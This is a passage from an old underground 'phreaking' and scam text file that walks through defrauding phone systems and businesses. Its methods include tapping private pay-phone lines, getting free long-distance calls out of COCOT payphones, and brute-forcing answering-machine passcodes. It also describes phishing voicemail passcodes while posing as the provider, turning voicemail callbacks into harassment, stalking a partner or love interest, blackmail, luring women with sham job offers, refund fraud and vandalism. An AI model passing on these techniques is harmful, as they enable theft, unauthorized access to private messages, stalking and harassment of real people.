A good thing about private pay phones is that the phone line it's using isn't actually classified as a pay phone line, it's classified as a business line for a regular business customer which is why red boxing won't work. Pick up one of these phones and dial "zero." If you can get one of their operators, ask them to connect you with AT&T. Now AT&T probably won't even know that you're calling from a pay phone line. She'll probably assume you're either calling from home or your place of business.

When AT&T answers, throw them a line like, "Yeah, I'm having trouble with my phone here. There's something wrong with the buttons and I can't get it to dial right. (Crying is optional) Could you try dialing the number for me?" and AT&T will be more than happy to help you dial that number. This works for local and long distance calls. Unfortunately, an operator can't dial a 0-700 or 900 number for you.

When dealing with some of the larger privately owned chains, the AT&T operator can tell that you're calling from a pay phone so a long distance call wont work.

Since these pay phones use a regular line you can plug your own phone to their line and dial any number you want, bypassing the pay phone itself entirely. The phone wires are usually installed very amateurly so you shouldn't have much trouble locating them.

When you find the phone wires, strip the outer covering, then strip the red and green wires, clip your phone to those two wires and start dialing random numbers in New Zealand. Don't actually cut the wires to the phone in half or the owner will be upset and hide the wires so you won't be able to do this anymore. Just strip them where no one will notice so you can come back and hook your phone up anytime you want. (This is called Beige Boxing, by the way.)

To make yourself look less suspicious, you can hook up your phone, quickly dial the number you're calling and then pick up the pay phone and unhook your own phone. To the casual observer, you're just talking on a pay phone like any normal person, not screwing the owner out of hundreds of dollars. If he doesn't have a block on the phone you can dial 0-700 Alliance and 900 numbers this way.

And if he does have a block on the phone, call up the phone company's billing office and remove the block, pretending to be him.

A Shopper's Guide To COCOTS by Count Zero (More On Private Pay Phones)

COCOT is an acronym for Customer Owned Coin Operated Telephone.  In other words, a COCOT is a phone that is owned or rented by a paying customer (most likely, a hotel or donut shop). A COCOT is not a normal payphone. The telephone company doesn't own it, and the telephone line is usually a normal customer loop (unlike payphones, where the phone line is a "special" payphone  loop, allowing the use of "coin tones" to indicate money dropped in!)  So a COCOT may look and smell like a telephone company payphone, but it is not.

Why do COCOT's exist? Simple. Money! A customer owned payphone is money in the bank. You pay more for local calls and long distance is typically handled by sleazy carriers that offer bad/expensive service. The owner/renter  of the COCOT opens the coinbox and keeps the money him/herself. Also, a particularly sleazy quality of COCOT is the fact that it does not receive incoming calls.  This, of course, is because of money. If people are calling in to a COCOT, the COCOT is not making money and businesses always want to make as much money as possible even if it hurts the consumer. Think about it. It really sucks to call someone at home from a COCOT and then not be able to have him/her call you back to save money.  "Guess I'll have to keep feeding the COCOT quarters!"

First of all, you must understand that the COCOT is a mimic. Essentially, it  wants you to think that it is just a plain ol' payphone. Pick up the handset.  Hear that dialtone?  Hah!  That dialtone is fake, synthesized by the innards of the COCOT.  You are at the mercy of the COCOT. Remember a COCOT runs off of a normal customer loop so, unlike a telephone company payphone where you must deposit money to generate coin tones that are read by the central office, the security of a COCOT depends solely on the COCOT phone itself. It's as if you took your own phone and put a sign on it saying "Please put 25 cents in this jar for every call you make."  COCOTs are not naive.  They won't let you near the unrestricted dialtone until you fork over the cash-ola.  Or so they think!

See, the Achilles' heel of the COCOT is the fact that all payphones must let you make 1-800 calls for free!  It's not just a fact, it's the law. Now pick up the handset again and place a 1-800 call. Any 1-800 number will do.  When they answer at the other end, just sit there. Do nothing. Ignore them. Wait for them to hang up the phone.

Here's an example. Dial 1-800-LOAN-YES. [Ring, Ring]...[click] "Hello, you wanna buy some money?  Hello? HELLO?!" [CLICK] (You will now hear some static and probably a strange "waffling" noise, like chh, chh, chh, chh, chh.) [CLICK] DIALTONE!

Now what have we got here? A dialtone? Yes, you guessed it, the dialtone you now hear is the unrestricted dialtone of the COCOT's customer loop. So what?   So I got an "unrestricted dialtone". Big Deal? You meathead, with an unrestriced dialtone, all you need to do is place a call via DTMF tones (the tones a touch-tone keypad generates).

Now, try dialing a number with the COCOT's keypad. Whoa, waitasec, no sound.  This is a typical lame attempt at protection by the COCOT. Just whip out your Radio Shack pocket tone dialer and try calling a number, any number. Place it just as if you were calling from a home phone. Call a 1-900 sex line. Call Guam. You are free and the COCOT's customer loop is being billed.

Some COCOTs are more sophisticated at protecting themselves. Some will reset when they hear the dialtone. To get around this, make a loud hissing sound with your mouth into the mouthpiece after the 1-800 number hangs up. Get your tone dialer ready near the mouthpiece. When you hear the dialtone, quickly dial the first digit of the number you want to call. If you hiss loudly enough, you may be able to mask the sound of the dialtone and prevent the COCOT from resetting. Once you dial the first digit of the number you are calling, the dialtone will disappear (naturally). You can stop hissing like an idiot now. Finish dialing your free phone call. Also, some COCOT's actually disable the handset after the call hangs up (in other words you can't send DTMF tones through the mouthpiece). Oh well, better luck next time. However, most of the COCOT's I have run across only disable the DTMF keypad. So all you need is a pocket dialer to circumvent this!

Other things to know: Sure you can't call a COCOT, but it does have a number.  To find out the COCOT's number, call one of the automated ANI services that tell you the number you're dialing from or dial a friend from the COCOT who has Caller I.D. so they can tell you the number. Now try calling the COCOT from another phone. You will hear one of two things: 1) synthesized voice:  "Thank you" [DTMF tones] [CLICK] [hang up] or  2) a weird carrier.

A COCOT's number is only used by the company that built or sold the COCOT. By calling up a COCOT, a technician can monitor its functioning, etc. In case number 1, you must enter a 3 or 4 digit password and then you'll get into a voice menu driven program that'll let you do "maintenance" stuff with the COCOT. In case number 2, you are hooked to the COCOT's 300 bps modem (Yes, a modem in a payphone). Likewise, if you can figure out the communications settings, you'll be into the COCOT's maintenance routines. Personally, I haven't had much luck (or patience) with calling up and hacking COCOT maintenance functions. I just like making free phone calls from them!

RBCP Notes on COCOTS:

In Austin, Texas they have some private pay phones called a Fox Fone. Pretty lame name if you ask me. When you dial an 800 number on one of these it has the nerve to ask you to deposit a quarter. Now, to get to the unrestricted dialtone a quarter isn't a bad investment, however I've found that it doesn't ask for a quarter if you dial 102880 to get AT&T. When AT&T answers, you're home free.

When you dial a long distance call legitamately on a private COCOT, the COCOT will dial a sequence of numbers like their authorization codes, etc. So when you get the unrestricted dialtone and try to dial a number direct like 1-512-370-4680 you'll get a "your number cannot be completed as dialed" message or a busy signal. To get around this, instead dial 10288-1-512-370-4680 and your call should go through.

If you're limited on the number of digits you can dial, just dial "0" from the unrestricted dialtone and ask the local operator for AT&T. Then ask AT&T to dial a long distance number for you. If you do it this way, you can't dial 700 and 900 numbers but if you use your Radio Shack tone dialer, it's no problem. Dial a 700 number like 10288-0-700-456-1002.

Sometimes the AT&T operator will know that you're calling from a COCOT and won't dial any free calls for you, but when she hangs up you can still use your tone dialer (or the fone's keypad) to dial long distance.

Directory Asisstance:

To get any listed phone number in the United States, all you need to do is dial "1-AREA CODE-555-1212." If you don't know which area code the number's in, just make up one or call local directory asisstance and ask that operator what any area code is. Local directory asisstance can be reached at "411", "1-411" or "1-555-1212." It differs from area to area. Pay phones that offer "411" won't charge you for information. Some areas I've lived in only will give me a phone number and say that if I want the address, dial 555-3131.

Toll free information can be reached at 1-800-555-1212 and of course, there is no charge for this call. There's also directory asisstance for 900 numbers which is 1-900-555-1212. International Information can be reached by dialing 102880 and asking for it.

1-800-COLLECT:

I'm sure that most of you are familiar with those annoying commercials for  MCI's 1-800-COLLECT and AT&T's 1-800-OPERATOR services. These two services allow you to call people collect using an automated service. For people like us, it provides a free nation-wide messaging service.

You dial 1-800-COLLECT. The automated operator asks you to enter the area code and number you'd like to call collect. Then it say, "At the tone, please say your name...(Beep)" where you get about five seconds to say your name.

Now instead of saying your name though, you can say a quick message like, "This is Ron, call me at 801-234-7448" or "Honey, I'll be home in two hours" or "Help me, I'm trapped in a phone booth in a black neighborhood!" The person receiving the call simply refuses the charges after they hear your message and nobody pays for it. 1-800-COLLECT is the best one to use because they give you the most time to "say your name."

Ordering Free Phone Books From All Over The World:

Some people collect stamps. Others collect rocks. And certain serial killers collect body parts. But imagine the fun of starting your very own collection of telephone directories from around the world. You can be the proud owner of directories from great cities such as London, Melbourne, Los Angeles, Miami and little podunk towns like Celina, Ohio and Roscoe, South Dakota where the "Local Attractions" section is only two paragraphs long... "Well, as far as local attractions here is Jessup, Iowa go, we got Herb's brand new paint job on his tool shed and Toothless Jim here plays a helluva banjo..."

Ordering the directories is quite simple. You can either bill the cost of the phone books to your home phone or have them send you a bill for the amount. The beauty part of it all is that you can bill it to any phone number in the United States. In the past, I've billed my phone books to pay phones, restaurants that give me bad service, the White House and Ameritech Corporate Security.

The directory offices never seem to check up on the number you're billing to nor do they check to make sure that the billing phone number matches the billing address. Even if the person you'd like to bill it to has a block on their phone, you can still charge directories to their number and a single overseas phone book can go for a few hundred dollars. While I'm sure the person you're billing to can probably have the charges removed, it sure it a fun way to make someone you hate lose peace of mind.

If you're going to order a lot of phone books, your biggest problem would be where to ship your phone books. It's best to get a post office box and have them shipped there. I had phone books comming to me regularly for an entire six months at a post office box and was never questioned once about it, although I started getting letters saying I'd better pay them or else and Gloria, who worked the front desk at the post office always wanted to know why I got so many phone books all the time. (I told her I was an asisstant manager for a telemarketing firm.)

You could also have it shipped to your next door neighbor or any vacant house for you to pick up later. Occasionaly I even send one to my home and nothing ever happens except that I get a letter every few months from them wanting their money. Below is a list of numbers you can call to order directories.

DonTech.........................(800)-541-8000

Ameritech.......................(800)-xxx-xxxx

AT&T............................(800)-xxx-xxxx

U.S.West Directory Source.......(800)-422-8793

Pick a number and tell them you want a directory from wherever and give them the billing number and address to be shipped to. In less than two weeks you should recieve it. One thing to remember, though, is that you ask them to deliver the books by regular U.S. mail unless you'll be somewhere to sign for U.P.S. A lot of post offices won't accept U.P.S. Enjoy your new hobby!

Employee News & Information Lines:

The phone company has a phone number that their employees can call up and find out what's new with the company, how the company's stock is doing, what new advances in phones have been discovered and how they're catching people like us. To get a newsline number, call the phone company's main office and ask them for it. Sometimes they won't know what you're talking about but keep pestering them until they give it to you. Below is a small list of newslines.

Bell Atlantic....................(800)-647-NEWS

Ameritech........................(800)-893-LINE

(312)-917-9797

Main Numbers & Employee Locators:

An employee locator is a service for Bell employees that helps you find out exactly what department any employee of Bell works for. Sometimes automated, you enter in the name of the employee on your touch tone phone and the computer will rattle off their work phone number, street address and state.  Most locators have a live operator who you just ask for the information.

Usually the employee locator is the same number as the main number. To get this number, call up directory asisstance and ask them for the phone company's main number. Call the main number and if they're not the employee locator, ask them for that number. In most cases, it's given to you, no questions asked.

If you can't get the phone company's main number from directory asisstance, try calling the billing office and ask them. Below is a short list of numbers.

Bell Atlantic (West Virginia)..........(304)-954-6202

Bell Atlantic (Virginia)...............(804)-225-6300

Cincinnati Bell (Ohio).................(513)-397-5775

South Central Bell (Jackson, Miss.)....(601)-961-1327

Southwestern Bell (Little Rock, Ark.)..(501)-373-9800

U.S. West (Western U.S.)...............(800)-879-4357

Ameritech (Indianapolis, IN)...........(317)-265-2266

Southern Bell (South Carolina).........(800)-336-0014

Pacific Bell (Los Angeles, CA).........(213)-339-6622

Partylines:

An interesting way to meet new people and sometimes learn new phone tricks is to call a party line. You can find tons of party line phone numbers in  magazines such as "Rolling Stone" and "Spin." A majority of them are some kind of sex line/lesbian line/gay line/weirdo line but sometimes you find a nice, normal chat line that you can talk to people on.

Every now and then you'll meet a phone phreak who'd be happy to exchange calling cards with you or teach you a few new tricks. And a lot of average, honest people hang out on them but learn some method of calling for free so they can talk without going broke. These lines can be VERY addictive. Only regular long distance charges apply on most. Some of them want a credit card.

Hotel California........................(801)-234-SHIT

Underground Party Line..................(515)-945-6700

Automatic Number Identification (ANI):

When you dial an ANI phone number, a computer voice will tell you what number you're calling from. There's a lot of ANI numbers out there but my favorite one is 1-800-MY-ANI-IS. Call this number and a computer voice simply says, "Your ANI is xxx-xxx-xxxx" and hangs up. I have no idea who sponsors this or who pays for it but it's been there for a long time. Zak claims that ANI knows the future and the past by dialing things like 1-800-MY-ANI-WAS or 1-800-MY-ANI-WILL-BE but for some reason I don't believe him.

If you have a friend with Caller I.D., call the friend from the phone you want to identify and your friend can read the number to you. If you don't have any friends, call a business who has Caller I.D. and tell them that you're the phone company testing their Caller I.D. and ask them to read back your number.

Hacking Telephone Answering Machines by Doctor Pizz & Cybersperm:

It seems that lately there is very little discussion of one of the most simple but useful and rewarding forms of electronic information gathering, hacking the telephone answering machine.  Almost everyone has one of these wonderful devices these days, to catch important messages while they are away from their phones, or to screen important telephone calls.  Nowadays, they typically have the added advantage of being accessible from remote telephones, so one needs to simply call his or her answering machine, enter their secret code, and then either retrieve new messages, or listen to anything they had previously recorded on the incoming messages tape, or perform any of a set of additional functions determined by which key they press on their touch tone phone.  They also typically ignore the fact that virtually anyone else can gain access to their messages by entering the appropriate code.  Hence this is a wonderful system to gather information from anyone without their knowledge, especially if they are technologically illiterate.

For the most part, there are two main types of "electronic password" used by these systems.  They are amazingly simple to crack, as they are typically only 2-digit or even 1-digit numbers. On some machines, the code must be entered before the outgoing message is over, on others, it must be entered after the outgoing message, and on more sophisticated models, it can be entered at any time.

MODERN 2-DIGIT PASSCODE SYSTEMS:

These are the most common systems in use today, typically made by Panasonic, AT&T, etc. In these systems, the code can be entered before during or after the beep tone.  For security reasons, we recommend BEFORE the beep tone, so your intrusions are unnoticed...  We will begin by discussing how to identify the passcode.

Now, the question of how to hack their code.  Well, this is so simple, you don't even need a computer to do it.  You can just enter all 2-digit combinations until you get the right one (usually signalled by a series of beeps on the other end).  A relatively crude way was to enter each number in sequence 01, 02, 03, 04,...,99.  This works, but may take too long to enter all numbers within the 20-30 second window we typically have before the beep (The best time to play around, as any tones entered after the beep will be recorded on his incoming messages tape, and could let him know something is up...).  It is also important to stop as soon as you hit the right number, as the additional entered numbers may be interpreted by the answering machine as codes, and cause you to delete all their messages, or record a new greeting, etc.  That is really asking for trouble, and may cause them to try and change their password (though it's usually only possible to choose from a range of three consecutive numbers anyway...).  Still, you need to be careful not to let them catch on, eh?

A more sophisticated and fast way to do this is to take advantage of the fact that such machines typically do not read two numbers at a time, and discard them, but just look for the correct sequence, reading one at a time. In other words, you can enter all 100 possible codes with roughly 1/2 the number of keystrokes.  Just enter as follows:

0 0 1 0 2 0 3 0 4 0 5 0 6 0 7 0 8 0 9 1 1 2 1 3 1 4 1 5 1 6 1 7 1 8 1 9,etc.

By reading in one phase we get:

0 0,1 0,2 0,3 0,4 0,5 0,6 0,7 0,8 0,9 1,1 2,1 3,1 4,1 5,1 6,1 7,1 8,1 9,etc.

In the other phase we get:

0 1,0 2,0 3,0 4,0 5,0 6,0 7,0 8,0 9,1 1,2 1,3 1,4 1,5 1,6 1,7 1,8 1,etc.

So by proceeding as follows we enter the following matrix sequentially, encompassing all possible 2 digit numbers:

0 0 1 0 2 0 3 0 4 0 5 0 6 0 7 0 8 0 9

1 1 2 1 3 1 4 1 5 1 6 1 7 1 8 1 9

2 2 3 2 4 2 5 2 6 2 7 2 8 2 9

3 3 4 3 5 3 6 3 7 3 8 3 9

4 4 5 4 6 4 7 4 8 4 9

5 5 6 5 7 5 8 5 9

6 6 7 6 8 6 9

7 7 8 7 9

8 8 9

9 0

The last zero is important, as it completes the cycle, and allows for the code 9 0, which is the only one not as yet allowed for.  I must emphasize the importance of quitting as soon as you get the correct code, and also do not keep going after the beep, if you are on a modern 2-digit access code system.  This way, you can record the passcode for your future reference, and prevent detection.

Now, we shall get on to the question of how to use their system, once you've broken in.  In general, it is recommended to obtain a copy of the owners' manual for various machines, but I have summarized some of the basics below.

PANASONIC

Here are the codes for a Panasonic Easa-phone KX-T1450.  The KX-T2420 is identical without Room Monitor function  In this case, strange things happen when you enter 5:

1 = Back Space (Rewind the OGM tape)

2 = Skip Forward (Fast forward the OGM tape)

3 = Reset (Go back to the beginning of the OGM tape.  MAY CAUSE ERASURE!!!)

4 = Memory Playback (Listen to new messages)

5 = Room Monitor (!!!! Listen to what is going on in the room NOW !!!!)

(This is only available on some models...  But, try it...)

7 = OGM-REC (Record a new greeting!!!)

9 = OGM-STOP (Stop recording the new greeting)

* = OGM Skip (Don't Listen to the OGM)

0 = Turn off the machine !!!!!

To set to the answer mode remotely,

1. Dial the phone number

2. Wait 15 rings and hang up

To turn off the unit remotely (!!),

1. Dial the phone number

2. Push the code number, wait for the beep, enter 0, and hang up.

Panasonic answering machines also respond to the user with a series of codes which I will now outline.  If you hear something different, you may not be on a Panasonic system.

1 long beep  : This is the "beep" after which people can leave their messages. Also, this is sounded when the correct passcode is entered from a remote telephone. (Same sound- Hint for software developpers)  It sounds when the tape has fully rewound, and after each message is played back in entirety.

3 short bps  : This sounds after the last message has been played back.

2 short bps  : (10 seconds later) You are then being recorded - marker message

6 short bps  : End of the incoming message tpe

6 short bps  : (Quickly) Tape Broken (either incoming or outgoing)

Also, after entering the correct code, and after the one long beep, you will hear n additional short beeps, where n is the number of new messages since the last time the messages were retrieved.  Remember, you can listen to earlier ones on the same tape, by additionally backspacing from the first new message.

Anyway, that is a basic summary of the Panasonic answering machine system for this machine.  Many machines unfortunately do not have the Room monitor function, so you can not see if you left your TV on, or anything like that...  Also, not all systems are identical, but on Panasonic machines, the numbers 1-4 are the same, so this is the most important thing for you to remember anyway...

AT&T

On AT&T machines, like the Answering System 1304, the passcode is again a 2-digit number enterable before, during, or after the beep.  Follow the same guidelines as above.

After you enter the correct code on these machines, the system will automatically begin to play back new messages.  This is one key way to distinguish these machines from the Panasonic ones discussed above.  To summarize the key functions for the AT&T system, look below:

2     Rewind tape (tape rewinds for as long as this key is depressed)

3 3   Clear messages (reset the tape to the beginning.)

5     Fast Forward (tape ffwds for as long as this key is depressed)

7     Replay messages from the beginning

8 8   Turn off the answering machine

*     Record a memo (After listening to messages)   OR

Skip the greeting (w/o entering code)

0     Turn on the machine (after hearing two beeps)

#     Pause (for 5-7 seconds)

Basically this system is less sophisticated than the Panasonic.  You cannot change the OGM remotely (Damn!).  As seen above, the codes are also quite different, but fortunately they are easily distinguished by how they answer after the security code is entered.  The AT&T plays the messages, while the Panasonic just beeps to tell you how many new messages are waiting.  Here also, the rewind and fast forward functions operate for the length of time you depress the 2 and 5 keys respectively.  On the Panasonic, they reewind or fast forward for 15 seconds.  Also, this system has a pause feature.  By entering the # sign, you can pause for a few seconds while listening to a message.  One extra safety (from your perspective...) feature is that on this system you cannot erase messages until they have all played back, so you have less risk of fucking up someone's system if it is an AT&T.  You cannot change his greeting, and it is difficult to accidentally erase his messages.  If you wish to do so, however, you must hit the 3 key twice after listening to the messages in their entirety.  To record a memo (why would you want to do this???), you can press the * key after you hear 5 beeps (after listening to the messages).  Then begin to record.  Also, the * key can be used before the message is finished to skip listening to the OGM (useful for long distance callers who are actually paying for the calls...) without the need for entering a security code.  To turn on the system from remote points, you need to let it ring ten times, and after it answers with 2 "beeps", hit the 0 key.

It will subsequently be on.  Similarly to turn it off, just enter 88.  If the machine answers the phone with no greeting, and just 2 beeps, it means the tape is full.  You can now enter the security code (without risk of them recording the BEEPS!!!) and listen away for a long time!!!  Basically, this sums up the properties of the two most common systems I've encountered of the 2-digit passcode variety.

SINGLE DIGIT PASSCODE MACHINES:

On some old model Panasonic and Phone Mate systems, the secret entry passcode is only a one digit number(!!!).  On these primitive systems, one merely enters the correct number, during the message, and playback begins. The other codes are simple to derive, and just for the sake of making this hobby a sport, I will not give details for these systems.  It is easy enough to figure them out, and on these systems, it is hard to screw things up, as there is little you can do anyway.

APPLICATIONS:

This can be a rewarding adventure if you decide to follow those instructions I will point out some of the potentially entertaining, useful, and/or informative applications of this technology.

As the true weirdos that we are, we shall begin with what we consider the truly entertaining applications...  If you have ever read the Village Voice, Screw or other such newspaper, you will notice a large number of advertisements for "unlicensed massage parlors", "Oriental relaxation spas", "Escort services", etc.  Call some of those numbers, preferrably at off-duty hours (6-9 AM??) and try to hack their answering machine codes, listen to their messages, and let the fun begin.  You can hear lots of perverts, and lowlifes making appointments for "services" about which they are sometimes graphic.  Also, they often leave telephone and credit card numbers (What fun!!!).  In case they are married, think of the blackmail potential...

Further, these "adult entertainment companies" also often run help wanted ads in the Village Voice, and other such publications.  Call these, and you will get a plethora of phone numbers for nubile young women who might believe you are the proprietor of the establishment in question.  You might be able to con some "free samples" as a sort of "job interview"... (hehehe) Especially given the illegal activity they desire to become involved in, they will be in no position to complain when they find out you are not for real. Also, this way, the girls are often not so jaded as the old pros. They will be trying to impress you if you get my drift, so you'll "hire" them.

Let us move on to the informative espionnage type of application of this technology.  One could very easily use this technology to listen to the messages of friends, and see what they are up to.  If you are trying to call your buddy Evan, and he isn't home, perhaps you can find out where he is by going through some of his old answering messages.  Say, Eric called him a couple of hours ago and suggested that Evan come over to his place for some beers.  Well, you could then call Eric and voila, you may connect with Evan.

Now, let us assume you have a girlfriend, and you suspect she might be cheating on you, yet you do not wish to confront her about it without any evidence, or certainty of her cheating.  Well, her new beau probably thinks her answering machine is secure, and calls leaving messages about their upcoming dates, or various discussions of their relationship.  If you can hack her machine {actually, you might even look at the bottom (where the passcode is usually printed...) to save time and energy.} you will be afforded with a plethora of potentially incriminating evidence.   Hehehe.

A similar application can be when you have a new love interest.  Suppose there is some woman you are interested in, but you aren't sure if she is available.  A little phone answering machine surveillance can provide all of the answers, and then some...  In case she asks her friends about you, you'll know everything she does.  Also, you will learn details about her life, and schedule, the better to run into her "accidentally", or strike up a conversation about "common" interests...

Now, if you know someone in the same profession, say musicians, and you call his answering machine, and hear someone offering him a gig.  You could call that person back, and accept the gig in your name, saying the originally called musician was unavailable, but suggested that you call.  Then be sure to erase the original message on your buddy's machine.  He'll never be the wiser, and you'll get more work.  Though he may wonder why he isn't getting much work anymore...

Changing the OGM is a good way to to get free phone calls. Change the message to something like, "Hello?......Yeah.......Okay, sure, I'll accept the charges!" Then you can third number bill a call to their number and when the operator calls for validation, she thinks she's talking to a real person and puts the call through for you.

Fun With Voicemail:

Voicemail is a little more complex to hack than answering machines are. I've experimented with a lot of voice mail systems and they all work pretty much the same way. When you call your own voicemail to retrieve your messages, you have to hit a certain key so you'll be prompted for your passcode. Usually it's either the "#" key or the "*" key. On some systems it'll be the "0" key.

After you hit the right key, the system will say, "Hello, xxx" where "xxx" is the box owner's name. The name would be something like, "Bob Smith" or "Mister Smith" or "Bob with Gimpstate Reality." You can either use the same methods as you do for the answering machines OR pull out the phone book and look up the owner of the mailbox, either at his/her home or business.

Call their home (or business) and when they answer, say, "Hi, this is Roy from Voice-Tel VoiceMail and we had another system crash this morning. I'm trying to get everyone's accounts back up here, etc, etc. I'm not sure if your message has been wiped out or not but I need your passcode so I can put that back in there for ya." To date, this has worked every time.

Once they give you the passcode, thank them and immediately call their voicemail (before they do) and first change their passcode. Then, change their outgoing message to something that's very insulting to the owner. Just play around in their box and have a really fun time. If you do all this after the voicemail's office has closed (hopefully for the weekend) you'll get to play in their box until the office reopens and the owner can call them and tell them what happened.

Some boxes will call the owner at home after he receives a message to let him know. You can change the number that the mailbox is programmed to call and you can sometimes change how many attempts the system will make to call and how often. In one case I changed the number to call to a guy's house I didn't like and the atttempts every five minutes. After I left a message on the voicemail, this poor guy would get a call every five minutes for eight hours straight.  The system would ask him for a passcode that he didn't know so there was no way he could stop it. As long as I left a message every eight hours, he would continue to get calls all weekend, every five minutes. By the time all this ended, they had the local police and Ameritech Corporate Security (Yes, Jim Bayless) looking for the source.

As far as usefulness goes with voicemail hacking, don't ask me. Some systems will accept third party billing so you can use it for that. Other than that, I always just hacked them for the fun of bugging the hell out of the owner and enemies of mine.

Newspapers

A little trick that I picked up in Galveston, Texas was to deposit my .50 cents into the newspaper machine and take out every newspaper in there. I  would do that with several machines until I had a good size stack and trot over to Wal-Mart and impersonate the newspaper salesperson. The others standing out there selling only got 50% of the profits while I was getting 100% minus my $1.00 investment. I was always worried that the Houston Post truck would come by and ask me who the hell I was but he never did.

Free Meals:

Most fast food restaurants have this silly little policy that goes, "The  customer is always right!" Therefore, they lose a lot of money to people like  me. There's a few ways that you can get free food from them.

1. Walk in and ask to speak to the manager. If the cashier tells you "no",  grab her by her big fat head and say, "Listen, man, I'm not going to jail for  you or nobody! Now let me speak to the manager." When the manager comes out, say, "Hi, I'm Darin Kempton, I think my dad spoke to you earlier on the phone?"

She'll be confused and ask you to explain. "Well, he came through here this morning (or yesterday) through the drive-thru and you forgot his Cheeseburger.  I was supposed to come here to pick it up or get a refund or whatever." It never fails, she'll get a cheeseburger, give it to you and apologize.

2. A better way would be to do the same thing only call ahead and explain to them what the problem is. Tell them that you were there earlier and the dumb fuck working the drive-thru didn't put your Big Mac in the bag. Of course, don't say dumb fuck and you can choose whatever kind of food you'd like. Tell them you'll sent your son there to pick it up. If you pretend to be an annoyed dad you'll get more respect.

Usually when you call ahead in some places, they not only give you the food but they also include a "Free Meal" card. McDonald's is notorious for this and a free meal includes a soft drink, sandwich of your choice and a large fries. Just be polite over the phone but mad that your son has to "walk all the way back there." Sometimes, some places will give a cash refund but they usually (not always, though) want a receipt. If you can dig up an old receipt that'll work. Don't get greedy and say something like, "Yeah, you guys forgot 200 Cheeseburgers for me today. My son'll be there to pick 'em up." Call me crazy, but I don't think that would work.

Make sure your order is an ordinary one that people get all the time. If they have enough time on their hands and it's a strange order, they might go back through the tapes and say, "But we didn't SELL four number 2's today."  Want a free soda to go with your Big Mac and Fries?

3. Find an old cup. Either get one off of a table that hasn't been cleaned yet or one out of the trash can making sure that it's not all slimey. Punch a very small hole in the bottom of the cup with your keys or pocket knife to start a small leak in the cup. Most fast food places offer free refills so take your leaking cup to the counter and say, "I'd like my refill and this cup's got a hole in it." They'll give you a refill and a new cup."

4. If the place doesn't offer free refills, get yourself a cup and fill it with water. Take it to the counter and say, "There's something wrong with my 7-Up it tastes really carbonated and gross." When they're about to give you another soda say, "Hey, could I have a Pepsi instead this time? Maybe that'll taste better." Or pick whatever soda you'd like to have.

5. If the fast food joint is one of those that let's you get your own drink, just ask for an ice water, dump out the water and fill it up with your soda.

Employee Discounts:

A majority of the stores in any mall offers a discount for anyone who works anywhere in the mall. Always remember that you are an employee of the mall. When you purchase something, ask the cashier if they offer the mall employee discount. If they do, they'll knock off 10 or 20 percent of your purchase.  I've been doing this forever and have never been asked to prove that I work in the mall. They always just take your word for it.

This also works in some airport gift shops. If you want to buy something at one of those shops in the airport, tell them you work at one of the restaurants or bars in the airport.

Free Movies:

If the theatre you're at has a doorman that rips tickets, and you want to see the movie with your friend (or friends), it's easy to trick him. Purchase one ticket for all three of you. Go in, let him rip your ticket and go sit down. A second later, get up and approach the doorman, "Excuse me, sir? Could I go to my car for a second. I forgot to turn off my headlights. I can't seem to find my ticket stub anywhere. My memory ain't what it used to be since I got hit by lightning." Unless he's a total asswipe, he'll let you go out to the parking lot. If he won't, demand to speak with the manager and he will let you.

Go outside and hand your ticket stub to your friend. Come back inside and sit down. Your friend now has a ticket stub to get in with. Repeat the process if you want another person to get in. It's not a good idea to try this on slow nights because they'll remember faces easier and won't fall for it. At busy theaters it's a sure thing. Opening night of any popular movie will always work.

And then there's always the old sneaking in the back door of the theatre that I need not go into detail about. It's childishly easy. When a movie lets out and all the people are rushing outside, go past them into the theater. If possible, get a schedule of the theatre's starting and ending times for each movie. This way, when your movie ends you can go directly to another auditorium and see a different movie.

When you're just about done with your Coke, but there's maybe a half inch left in the bottom of the cup, take it to the water fountain and fill the cup with water. Take it to the counter and tell them it's disgusting and you want a new soda. They'll give it to you.

Bring a dead roach to the movie with you. (Stop laughing and let me finish, dammit.) When you're just about done with your popcorn, drop the roach in the popcorn bag and take the bag to the counter and pretend to be horrified and demand to speak to the manager. No telling what you'll get out of this one. Could be anything from a free popcorn, a refund on your tickets or popcorn or some free movie passes. They're always nice to people who find creatures in their food.

Pay Phones:

If you're the type that happens to have a handy list of stolen calling card numbers, credit card numbers or a red box, you can hang around a pay phone and sell long distance calls to tourists. You can make up your own rates just like a real telephone comapany, charge extra for overseas calling, etc.

Another thing that's not as profitable but helps if you need a little spare  change is to hang out at a pay phone that gets used a lot. When someone starts to make a call on it, stop them and ask them if they'll give you their quarter if you get them a free call. I've never been turned down for this one. If you use your red box, it'll really impress them.

Pay Phone Stuffing:

I read about some guy in the 70's that made around $100 a day, stuffing pay phones at the college until he was caught. Basically, shove a bunch of toilet paper up the change slot on a pay phone.

It's a trick getting the toilet paper up there just right. There's sort of a trap door in there so it makes it almost impossible to do but it is possible. Stuff enough in there to stop the coin flow but not too much to where a person using the phone will be able to tell there's anything in there. You don't want them removing it and stealing all your profits. To make sure it works before you leave the phone, put a penny in the coin slot. Since a pay phone doesn't accept pennies it'll come right back out. If your penny doesn't come back, you know it's working.

A few hours later, or the next day take out all of the toilet paper and a ton of quarters should come out with it. To make your pay phone the most profitable, you can put the other nearby payphones out of commission with a slegde hammer or by simply cutting the wires on them.

Free Collect Calls:

Give your girlfriend the phone number to the pay phone. When you want to talk to her, call her collect, using a code name that she'll know like, "Peterhead."  When the operator asks her if she'll accept the charges, she'll say, "Hell no, not from THAT asshole!" Then she hangs up the phone and calls you right back at the pay phone so neither one of you are charged.

You can also make a list of codes for each other, each meaning a different thing. Like a collect call from "Mike" would mean, "I'll be home in about an hour." A collect call from "Axl" would mean, "Call me at the pay phone at 7-Eleven," and a call from, "Fred" would mean, "Listen, bitch, I've found another woman who can satisfy me sexually so I never want to see you again!" Well, you get the idea. It's a nice little quarter saver if you're poor. You can use a different name for every pay phone in town for her to call back.

Video Games:

Tell the manager of the arcade or 7-Eleven or whatever that their video game stole your quarter(s). Sometimes they'll give you a quarter, no questions  asked and sometimes they'll want to put the quarter in themselves to make sure you're not pulling a fast one on them. Either way, you win.

If you REALLY need the money or you're just hard up to play the New Super-Advanced Mega Ultra Street Fighter VII Classic, you could squirt a bunch of super glue into the coin slot so when they tried to put money in it wouldn't work and they'd be sure to give you your money back. Sure, the store would have to spend hundreds of dollars fixing the machine but, hey, you got a quarter, didn't you?

This also works with soda machines, snack machines, pay phones, etc. In a lot of colleges they have those snack machines that carry food items that cost $2.25 or more! You can go to the nearest college book store or maybe the cashier in the cafeteria and they'll give you a refund or mail you a check for that amount.

Shoplifting:

